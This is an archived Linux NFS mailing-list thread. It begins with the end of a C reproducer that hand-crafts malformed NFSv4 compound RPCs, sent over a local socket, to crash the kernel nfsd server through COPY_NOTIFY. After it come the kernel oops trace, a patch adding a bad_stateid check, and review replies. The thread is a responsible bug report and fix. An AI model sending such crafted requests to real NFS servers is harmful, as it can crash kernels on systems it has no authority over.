put_listxattrs();
send_send();
parse_reply(1);
}
void
put_unlock(int dosym)
{
put32(14);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // READ_LT
put32(0); // open_seqid
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
put64(0); // offset
put64(1); // length
}
void
send_unlock(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup("lockfile");
put_unlock(dosym);
send_send();
parse_reply(1);
}
void
put_lock(int dosym)
{
put32(12);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // READ_LT
put32(0); // reclaim
put64(0); // offset
put64(2); // length
put32(1); // new_lock_owner
put32(0); // open_seqid
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
put32(0); // lock_seqid
put64(clientid); // clientid
put_opaque(22, "Linux NFSv4.2 xyzzy"); // owner
}
void
send_lock(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_lookup("lockfile");
put_lock(dosym);
send_send();
parse_reply(1);
}
void
put_dir_delegation(int dosym)
{
put32(46);
if(dosym && symstart == -1)
symstart = oi;
put32(0); // signal_deleg_avail
put32(3); // notification_types bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put64(0); // child_attr_delay
put32(0); // child_attr_delay
put64(0); // dir_attr_delay
put32(0); // dir_attr_delay
put32(3); // child_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(3); // dir_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
}
void
send_dir_delegation(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_dir_delegation(dosym);
send_send();
parse_reply(1);
}
void
put_verify(int dosym)
{
put32(37);
put32(2);
if(dosym && symstart == -1)
symstart = oi;
put32(0);
put32(0);
put32(1024);
for(int i = 0; i < 1024/4; i++)
put32(0xffffffff);
}
void
send_verify()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_verify(1);
send_send();
parse_reply(1);
}
void
put_setxattr(int dosym)
{
put32(73);
if(dosym == 2){
put32(0); // SETXATTR4_EITHER
unsigned int klen = aa[aai++] & 0xfff;
unsigned int vlen = aa[aai++] & 0xfff;
for(int i = oi; i+8 <= sizeof(obuf) && aai < NAA; i += 8)
*(unsigned long long *)(obuf + i) = 0x4444444444444444ll ^ aa[aai++];
if(klen < 1) klen = 1;
put32(klen);
oi += klen;
while((oi % 4) != 0) oi++;
put32(vlen);
oi += vlen;
while((oi % 4) != 0) oi++;
} else if(dosym == 3) {
int xoi = oi;
put32(0); // SETXATTR4_EITHER
put32(24); // klen
for(int i = 0; i < 3; i++){
*(long long *)(obuf + oi) = 0x4444444444444444ll ^ aa[aai++];
oi += 8;
}
put32(24); // vlen
for(int i = 0; i < 3; i++){
*(long long *)(obuf + oi) = 0x4444444444444444ll ^ aa[aai++];
oi += 8;
}
} else {
int xoi = oi;
put32(0); // SETXATTR4_EITHER
put_opaque(24, "12345678abcdefgh12345678"); // key
put_opaque(16, "abcdefgh12345678"); // value
if(dosym)
for(int i = xoi; i+8 <= oi; i += 8)
*(long long *)(obuf+i) ^= aa[aai++];
}
}
void
send_setxattr(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
sys("echo hi > /tmp/xfile ; chown nobody /tmp/xfile");
put_lookup("xfile");
put_setxattr(dosym);
send_send();
parse_reply(1);
}
void
put_remove(char *name)
{
put32(28);
put_opaque(strlen(name), name);
}
void
send_remove(char *name)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_remove(name);
send_send();
parse_reply(1);
}
void
put_junk(int op, int words)
{
put32(op);
if(symstart != -1)
symstart = oi;
for(int i = 0; i < words; i++)
put32(0);
}
void
send_junk(int op, int words)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_junk(op, words);
send_send();
parse_reply(1);
}
void
put_layoutget(int dosym)
{
put32(50);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // signal_layout_avail
put32(4); // layout_type, FLEXFILE
put32(3); // iomode, ANY
put64(0); // offset
put64(8); // length
put64(8); // minlength
put32(1); // stateid seq -- special current stateid
for(int i = 0; i < 12; i++)
obuf[oi++] = 0;
put32(4096); // maxcount
}
void
send_layoutget(int dosym)
{
sys("echo 1234567890123456 > /tmp/out");
sys("chown nobody /tmp/out");
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing("out", 3);
put_layoutget(dosym);
send_send();
parse_reply(1);
}
void
put_layoutreturn(int dosym)
{
put32(51);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // reclaim
put32(4); // layout_type, FLEXFILE
put32(3); // iomode, ANY
put32(1); // returntype, FILE
put64(0); // offset
put64(8); // length
put32(1); // stateid seq -- special current stateid
for(int i = 0; i < 12; i++)
obuf[oi++] = 0;
put_opaque_repeat(64, 'x'); // lrf_body<>
}
void
send_layoutreturn(int dosym)
{
sys("echo 1234567890123456 > /tmp/out");
sys("chown nobody /tmp/out");
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing("out", 3);
put_layoutreturn(dosym);
send_send();
parse_reply(1);
}
void
put_secinfo_no_name(int dosym)
{
put32(52);
put32(1); // 0=CURRENT_FH, 1=PARENT
}
void
send_secinfo_no_name(int dosym)
{
sys("echo 1234567890123456 > /tmp/out");
sys("chown nobody /tmp/out");
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_open_existing("out", 3);
put_secinfo_no_name(dosym);
send_send();
parse_reply(1);
}
void
put_get_dir_delegation(int dosym)
{
put32(46);
if(dosym && symstart == -1)
symstart = oi;
put32(1); // signal_delet_avail
put32(3); // notification_types bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put64(0); // child_attr_delay
put64(0);
put64(0); // dir_attr_delay
put64(0);
put32(3); // child_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
put32(3); // dir_attributes bitmap length
put32(0xffffffff);
put32(0xffffffff);
put32(0xffffffff);
}
void
send_get_dir_delegation(int dosym)
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
put_get_dir_delegation(dosym);
send_send();
parse_reply(1);
}
void
send_blah()
{
put_compound(4);
put_sequence();
put_rootfh();
put_lookup("tmp");
symstart = oi;
for(int i = 0; i < 32; i++)
put32(0xffffffff);
send_send();
parse_reply(1);
}
void
put_read(int dosym)
{
put32(25);
if(dosym && symstart == -1)
symstart = oi;
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
put64(0); // offset
put32(512); // count
}
void
send_read(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
sys("rm -f /tmp/foof; echo hello > /tmp/foof; chown nobody /tmp/foof");
put_open_existing("foof", 1);
put_read(dosym);
send_send();
parse_reply(1);
}
void
put_write(int dosym)
{
put32(38);
if(dosym && symstart == -1)
symstart = oi;
put32(stateid_seqid); // open_stateid, from previous OPEN
for(int i = 0; i < 12; i++)
obuf[oi++] = stateid_other[i];
put64(-9999); // offset
put32(0); // stable_how
put_opaque(6, "hello\n"); // data
}
void
send_write(int dosym)
{
put_compound(5);
put_sequence();
put_rootfh();
put_lookup("tmp");
unlink("/tmp/newnew");
put_open_create("newnew", 0);
put_write(dosym);
send_send();
parse_reply(1);
}
int
main(){
setlinebuf(stdout);
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
// /etc/exports
// /tmp 127.0.0.1(rw,subtree_check)
sys("/etc/init.d/rpcbind start");
sys("/usr/sbin/rpc.idmapd");
sys("mount -t nfsd nfsd /proc/fs/nfsd");
sleep(2);
sys("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
sleep(2);
sys("/usr/sbin/rpc.mountd --manage-gids");
sleep(2);
sys("exportfs -au");
sys("exportfs -f");
sys("exportfs -r");
//sys("exportfs -v");
// sys("rpcdebug -m nfsd -s all");
// sys("rpcdebug -m nfs -s all");
// sys("rpcdebug -m rpc -s all");
//sys("cat /proc/fs/nfsd/exports");
s = socket(AF_INET, SOCK_STREAM, 0);
int yes = 1;
if(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0)
perror("SO_REUSEADDR");
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
for(int i = 100; i < 1024; i++){
sin.sin_port = htons(i);
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) == 0){
printf("bound to port %d\n", i);
break;
}
}
sin.sin_port = htons(2049);
sync();
sleep(11); // grace period
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
int pid = fork();
if(pid == 0){
send_nop();
// send_exchange_id_sym();
send_exchange_id(0);
send_create_session(0);
send_reclaim_complete();
// server may miss the first time, yielding 10008 NFS4ERR_DELAY.
// so trigger the upcall to rpc.mountd and wait a bit.
send_lookup();
setpriority(PRIO_PROCESS, 0, 15);
sleep(2);
send_blah();
// send_write(0);
//send_read(0);
// send_secinfo_no_name(0);
// send_layoutget(0);
// send_layoutreturn(0);
//send_verify();
//send_junk(51, 20); // 51 is LAYOUTRETURN
//send_listxattrs();
//send_putfh();
//send_open_read();
// send_open_create("newfile", 0);
// send_remove("newfile");
//send_readdir(0);
//send_readdir(1);
//sys("rm -f /tmp/frobozz ; touch /tmp/frobozz ; chown nobody /tmp/frobozz");
//send_open_existing("frobozz", 3); // fetch stateid, for lock
// send_setattr(1);
//send_set_acl(1);
//send_create();
//sys("echo xxxxxxxxxx > /tmp/lockfile ; chmod ogu+rwx /tmp/lockfile");
//sys("chown nobody /tmp/lockfile");
//send_open_existing("lockfile", 3); // fetch stateid, for lock
//send_lock(0);
//send_lock(1);
//send_unlock(1);
//send_dir_delegation(1);
// send_setxattr(2);
sleep(2);
close(s);
sleep(1);
exit(0);
}
close(s);
for(int i = 0; i < 60; i++){
sleep(1);
int st;
int ret = waitpid(pid, &st, WNOHANG);
if(ret == pid)
break;
}
}
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: nfsd v4 server can crash in COPY_NOTIFY
2022-01-05 14:59 nfsd v4 server can crash in COPY_NOTIFY rtm
@ 2022-01-05 20:13 ` J. Bruce Fields
2022-01-05 20:33 ` Chuck Lever III
0 siblings, 1 reply; 5+ messages in thread
From: J. Bruce Fields @ 2022-01-05 20:13 UTC (permalink / raw)
To: rtm; +Cc: Chuck Lever, linux-nfs, Olga Kornievskaia
On Wed, Jan 05, 2022 at 09:59:16AM -0500, rtm@csail.mit.edu wrote:
> If the special ONE stateid is passed to nfs4_preprocess_stateid_op(),
> it returns status=0 but does not set *cstid. nfsd4_copy_notify()
> depends on stid being set if status=0, and thus can crash if the
> client sends the right COPY_NOTIFY RPC.
>
> I've attached a demo.
>
> # uname -a
> Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
> # cc nfsd_5.c
> # ./a.out
> ...
> [ 35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008
> [ 35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d
> [ 35.597781] [<ffffffff80640cc6>] nfs4_alloc_init_cpntf_state+0x94/0xdc
> [ 35.598576] [<ffffffff80274c98>] nfsd4_copy_notify+0xf8/0x28e
> [ 35.599386] [<ffffffff80275c86>] nfsd4_proc_compound+0x2b6/0x4ee
> [ 35.600166] [<ffffffff8025f7f4>] nfsd_dispatch+0x118/0x174
> [ 35.600840] [<ffffffff8061a2e8>] svc_process_common+0x2f4/0x56c
> [ 35.601630] [<ffffffff8061a624>] svc_process+0xc4/0x102
> [ 35.602302] [<ffffffff8025f25a>] nfsd+0xfa/0x162
> [ 35.602979] [<ffffffff80027010>] kthread+0x124/0x136
> [ 35.603668] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
> [ 35.604667] ---[ end trace 69f12ad62072e251 ]---
We could do something like this.--b.
Author: J. Bruce Fields <bfields@redhat.com>
Date: Wed Jan 5 14:15:03 2022 -0500
nfsd: fix crash on COPY_NOTIFY with special stateid
RTM says "If the special ONE stateid is passed to
nfs4_preprocess_stateid_op(), it returns status=0 but does not set
*cstid. nfsd4_copy_notify() depends on stid being set if status=0, and
thus can crash if the client sends the right COPY_NOTIFY RPC."
RFC 7862 says "The cna_src_stateid MUST refer to either open or locking
states provided earlier by the server. If it is invalid, then the
operation MUST fail."
The RFC doesn't specify an error, and the choice doesn't matter much as
this is clearly illegal client behavior, but bad_stateid seems
reasonable.
Simplest is just to guarantee that nfs4_preprocess_stateid_op, called
with non-NULL cstid, errors out if it can't return a stateid.
Reported-by: rtm@csail.mit.edu
Fixes: 624322f1adc5 ("NFSD add COPY_NOTIFY operation")
Signed-off-by: J. Bruce Fields <bfields@redhat.com>
diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c
index 1956d377d1a6..b94b3bb2b8a6 100644
--- a/fs/nfsd/nfs4state.c
+++ b/fs/nfsd/nfs4state.c
@@ -6040,7 +6040,11 @@ nfs4_preprocess_stateid_op(struct svc_rqst *rqstp,
*nfp = NULL;
if (ZERO_STATEID(stateid) || ONE_STATEID(stateid)) {
- status = check_special_stateids(net, fhp, stateid, flags);
+ if (cstid)
+ status = nfserr_bad_stateid;
+ else
+ status = check_special_stateids(net, fhp, stateid,
+ flags);
goto done;
}
^ permalink raw reply related [flat|nested] 5+ messages in thread
* Re: nfsd v4 server can crash in COPY_NOTIFY
2022-01-05 20:13 ` J. Bruce Fields
@ 2022-01-05 20:33 ` Chuck Lever III
2022-01-06 19:32 ` Olga Kornievskaia
0 siblings, 1 reply; 5+ messages in thread
From: Chuck Lever III @ 2022-01-05 20:33 UTC (permalink / raw)
To: Bruce Fields, Olga Kornievskaia; +Cc: rtm, Linux NFS Mailing List
> On Jan 5, 2022, at 3:13 PM, J. Bruce Fields <bfields@fieldses.org> wrote:
>
> On Wed, Jan 05, 2022 at 09:59:16AM -0500, rtm@csail.mit.edu wrote:
>> If the special ONE stateid is passed to nfs4_preprocess_stateid_op(),
>> it returns status=0 but does not set *cstid. nfsd4_copy_notify()
>> depends on stid being set if status=0, and thus can crash if the
>> client sends the right COPY_NOTIFY RPC.
>>
>> I've attached a demo.
>>
>> # uname -a
>> Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
>> # cc nfsd_5.c
>> # ./a.out
>> ...
>> [ 35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008
>> [ 35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d
>> [ 35.597781] [<ffffffff80640cc6>] nfs4_alloc_init_cpntf_state+0x94/0xdc
>> [ 35.598576] [<ffffffff80274c98>] nfsd4_copy_notify+0xf8/0x28e
>> [ 35.599386] [<ffffffff80275c86>] nfsd4_proc_compound+0x2b6/0x4ee
>> [ 35.600166] [<ffffffff8025f7f4>] nfsd_dispatch+0x118/0x174
>> [ 35.600840] [<ffffffff8061a2e8>] svc_process_common+0x2f4/0x56c
>> [ 35.601630] [<ffffffff8061a624>] svc_process+0xc4/0x102
>> [ 35.602302] [<ffffffff8025f25a>] nfsd+0xfa/0x162
>> [ 35.602979] [<ffffffff80027010>] kthread+0x124/0x136
>> [ 35.603668] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
>> [ 35.604667] ---[ end trace 69f12ad62072e251 ]---
>
> We could do something like this.--b.
>
> Author: J. Bruce Fields <bfields@redhat.com>
> Date: Wed Jan 5 14:15:03 2022 -0500
>
> nfsd: fix crash on COPY_NOTIFY with special stateid
>
> RTM says "If the special ONE stateid is passed to
> nfs4_preprocess_stateid_op(), it returns status=0 but does not set
> *cstid. nfsd4_copy_notify() depends on stid being set if status=0, and
> thus can crash if the client sends the right COPY_NOTIFY RPC."
>
> RFC 7862 says "The cna_src_stateid MUST refer to either open or locking
> states provided earlier by the server. If it is invalid, then the
> operation MUST fail."
>
> The RFC doesn't specify an error, and the choice doesn't matter much as
> this is clearly illegal client behavior, but bad_stateid seems
> reasonable.
>
> Simplest is just to guarantee that nfs4_preprocess_stateid_op, called
> with non-NULL cstid, errors out if it can't return a stateid.
>
> Reported-by: rtm@csail.mit.edu
> Fixes: 624322f1adc5 ("NFSD add COPY_NOTIFY operation")
> Signed-off-by: J. Bruce Fields <bfields@redhat.com>
>
> diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c
> index 1956d377d1a6..b94b3bb2b8a6 100644
> --- a/fs/nfsd/nfs4state.c
> +++ b/fs/nfsd/nfs4state.c
> @@ -6040,7 +6040,11 @@ nfs4_preprocess_stateid_op(struct svc_rqst *rqstp,
> *nfp = NULL;
>
> if (ZERO_STATEID(stateid) || ONE_STATEID(stateid)) {
> - status = check_special_stateids(net, fhp, stateid, flags);
> + if (cstid)
> + status = nfserr_bad_stateid;
> + else
> + status = check_special_stateids(net, fhp, stateid,
> + flags);
> goto done;
> }
Thanks, Bruce. I'll take this provisionally for v5.17. Olga, can you
provide a Reviewed-by: ?
--
Chuck Lever
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: nfsd v4 server can crash in COPY_NOTIFY
2022-01-05 20:33 ` Chuck Lever III
@ 2022-01-06 19:32 ` Olga Kornievskaia
2022-01-06 19:38 ` Chuck Lever III
0 siblings, 1 reply; 5+ messages in thread
From: Olga Kornievskaia @ 2022-01-06 19:32 UTC (permalink / raw)
To: Chuck Lever III
Cc: Bruce Fields, Olga Kornievskaia, rtm, Linux NFS Mailing List
On Thu, Jan 6, 2022 at 12:41 PM Chuck Lever III <chuck.lever@oracle.com> wrote:
>
>
>
> > On Jan 5, 2022, at 3:13 PM, J. Bruce Fields <bfields@fieldses.org> wrote:
> >
> > On Wed, Jan 05, 2022 at 09:59:16AM -0500, rtm@csail.mit.edu wrote:
> >> If the special ONE stateid is passed to nfs4_preprocess_stateid_op(),
> >> it returns status=0 but does not set *cstid. nfsd4_copy_notify()
> >> depends on stid being set if status=0, and thus can crash if the
> >> client sends the right COPY_NOTIFY RPC.
> >>
> >> I've attached a demo.
> >>
> >> # uname -a
> >> Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
> >> # cc nfsd_5.c
> >> # ./a.out
> >> ...
> >> [ 35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008
> >> [ 35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d
> >> [ 35.597781] [<ffffffff80640cc6>] nfs4_alloc_init_cpntf_state+0x94/0xdc
> >> [ 35.598576] [<ffffffff80274c98>] nfsd4_copy_notify+0xf8/0x28e
> >> [ 35.599386] [<ffffffff80275c86>] nfsd4_proc_compound+0x2b6/0x4ee
> >> [ 35.600166] [<ffffffff8025f7f4>] nfsd_dispatch+0x118/0x174
> >> [ 35.600840] [<ffffffff8061a2e8>] svc_process_common+0x2f4/0x56c
> >> [ 35.601630] [<ffffffff8061a624>] svc_process+0xc4/0x102
> >> [ 35.602302] [<ffffffff8025f25a>] nfsd+0xfa/0x162
> >> [ 35.602979] [<ffffffff80027010>] kthread+0x124/0x136
> >> [ 35.603668] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
> >> [ 35.604667] ---[ end trace 69f12ad62072e251 ]---
> >
> > We could do something like this.--b.
> >
> > Author: J. Bruce Fields <bfields@redhat.com>
> > Date: Wed Jan 5 14:15:03 2022 -0500
> >
> > nfsd: fix crash on COPY_NOTIFY with special stateid
> >
> > RTM says "If the special ONE stateid is passed to
> > nfs4_preprocess_stateid_op(), it returns status=0 but does not set
> > *cstid. nfsd4_copy_notify() depends on stid being set if status=0, and
> > thus can crash if the client sends the right COPY_NOTIFY RPC."
> >
> > RFC 7862 says "The cna_src_stateid MUST refer to either open or locking
> > states provided earlier by the server. If it is invalid, then the
> > operation MUST fail."
> >
> > The RFC doesn't specify an error, and the choice doesn't matter much as
> > this is clearly illegal client behavior, but bad_stateid seems
> > reasonable.
> >
> > Simplest is just to guarantee that nfs4_preprocess_stateid_op, called
> > with non-NULL cstid, errors out if it can't return a stateid.
> >
> > Reported-by: rtm@csail.mit.edu
> > Fixes: 624322f1adc5 ("NFSD add COPY_NOTIFY operation")
> > Signed-off-by: J. Bruce Fields <bfields@redhat.com>
> >
> > diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c
> > index 1956d377d1a6..b94b3bb2b8a6 100644
> > --- a/fs/nfsd/nfs4state.c
> > +++ b/fs/nfsd/nfs4state.c
> > @@ -6040,7 +6040,11 @@ nfs4_preprocess_stateid_op(struct svc_rqst *rqstp,
> > *nfp = NULL;
> >
> > if (ZERO_STATEID(stateid) || ONE_STATEID(stateid)) {
> > - status = check_special_stateids(net, fhp, stateid, flags);
> > + if (cstid)
> > + status = nfserr_bad_stateid;
> > + else
> > + status = check_special_stateids(net, fhp, stateid,
> > + flags);
> > goto done;
> > }
>
> Thanks, Bruce. I'll take this provisionally for v5.17. Olga, can you
> provide a Reviewed-by: ?
I reproduced the original problem (thank you for the reproducer).
Reviewed-by and Tested-by.
>
>
> --
> Chuck Lever
>
>
>
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: nfsd v4 server can crash in COPY_NOTIFY
2022-01-06 19:32 ` Olga Kornievskaia
@ 2022-01-06 19:38 ` Chuck Lever III
0 siblings, 0 replies; 5+ messages in thread
From: Chuck Lever III @ 2022-01-06 19:38 UTC (permalink / raw)
To: Olga Kornievskaia
Cc: Bruce Fields, Olga Kornievskaia, rtm, Linux NFS Mailing List
> On Jan 6, 2022, at 2:32 PM, Olga Kornievskaia <aglo@umich.edu> wrote:
>
> On Thu, Jan 6, 2022 at 12:41 PM Chuck Lever III <chuck.lever@oracle.com> wrote:
>>
>>
>>
>>> On Jan 5, 2022, at 3:13 PM, J. Bruce Fields <bfields@fieldses.org> wrote:
>>>
>>> On Wed, Jan 05, 2022 at 09:59:16AM -0500, rtm@csail.mit.edu wrote:
>>>> If the special ONE stateid is passed to nfs4_preprocess_stateid_op(),
>>>> it returns status=0 but does not set *cstid. nfsd4_copy_notify()
>>>> depends on stid being set if status=0, and thus can crash if the
>>>> client sends the right COPY_NOTIFY RPC.
>>>>
>>>> I've attached a demo.
>>>>
>>>> # uname -a
>>>> Linux (none) 5.16.0-rc7-00108-g800829388818-dirty #28 SMP Wed Jan 5 14:40:37 UTC 2022 riscv64 riscv64 riscv64 GNU/Linux
>>>> # cc nfsd_5.c
>>>> # ./a.out
>>>> ...
>>>> [ 35.583265] Unable to handle kernel paging request at virtual address ffffffff00000008
>>>> [ 35.596916] status: 0000000200000121 badaddr: ffffffff00000008 cause: 000000000000000d
>>>> [ 35.597781] [<ffffffff80640cc6>] nfs4_alloc_init_cpntf_state+0x94/0xdc
>>>> [ 35.598576] [<ffffffff80274c98>] nfsd4_copy_notify+0xf8/0x28e
>>>> [ 35.599386] [<ffffffff80275c86>] nfsd4_proc_compound+0x2b6/0x4ee
>>>> [ 35.600166] [<ffffffff8025f7f4>] nfsd_dispatch+0x118/0x174
>>>> [ 35.600840] [<ffffffff8061a2e8>] svc_process_common+0x2f4/0x56c
>>>> [ 35.601630] [<ffffffff8061a624>] svc_process+0xc4/0x102
>>>> [ 35.602302] [<ffffffff8025f25a>] nfsd+0xfa/0x162
>>>> [ 35.602979] [<ffffffff80027010>] kthread+0x124/0x136
>>>> [ 35.603668] [<ffffffff8000303e>] ret_from_exception+0x0/0xc
>>>> [ 35.604667] ---[ end trace 69f12ad62072e251 ]---
>>>
>>> We could do something like this.--b.
>>>
>>> Author: J. Bruce Fields <bfields@redhat.com>
>>> Date: Wed Jan 5 14:15:03 2022 -0500
>>>
>>> nfsd: fix crash on COPY_NOTIFY with special stateid
>>>
>>> RTM says "If the special ONE stateid is passed to
>>> nfs4_preprocess_stateid_op(), it returns status=0 but does not set
>>> *cstid. nfsd4_copy_notify() depends on stid being set if status=0, and
>>> thus can crash if the client sends the right COPY_NOTIFY RPC."
>>>
>>> RFC 7862 says "The cna_src_stateid MUST refer to either open or locking
>>> states provided earlier by the server. If it is invalid, then the
>>> operation MUST fail."
>>>
>>> The RFC doesn't specify an error, and the choice doesn't matter much as
>>> this is clearly illegal client behavior, but bad_stateid seems
>>> reasonable.
>>>
>>> Simplest is just to guarantee that nfs4_preprocess_stateid_op, called
>>> with non-NULL cstid, errors out if it can't return a stateid.
>>>
>>> Reported-by: rtm@csail.mit.edu
>>> Fixes: 624322f1adc5 ("NFSD add COPY_NOTIFY operation")
>>> Signed-off-by: J. Bruce Fields <bfields@redhat.com>
>>>
>>> diff --git a/fs/nfsd/nfs4state.c b/fs/nfsd/nfs4state.c
>>> index 1956d377d1a6..b94b3bb2b8a6 100644
>>> --- a/fs/nfsd/nfs4state.c
>>> +++ b/fs/nfsd/nfs4state.c
>>> @@ -6040,7 +6040,11 @@ nfs4_preprocess_stateid_op(struct svc_rqst *rqstp,
>>> *nfp = NULL;
>>>
>>> if (ZERO_STATEID(stateid) || ONE_STATEID(stateid)) {
>>> - status = check_special_stateids(net, fhp, stateid, flags);
>>> + if (cstid)
>>> + status = nfserr_bad_stateid;
>>> + else
>>> + status = check_special_stateids(net, fhp, stateid,
>>> + flags);
>>> goto done;
>>> }
>>
>> Thanks, Bruce. I'll take this provisionally for v5.17. Olga, can you
>> provide a Reviewed-by: ?
>
> I reproduced the original problem (thank you for the reproducer).
>
> Reviewed-by and Tested-by.
Much appreciated.
--
Chuck Lever
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2022-01-06 19:39 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-01-05 14:59 nfsd v4 server can crash in COPY_NOTIFY rtm
2022-01-05 20:13 ` J. Bruce Fields
2022-01-05 20:33 ` Chuck Lever III
2022-01-06 19:32 ` Olga Kornievskaia
2022-01-06 19:38 ` Chuck Lever III
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.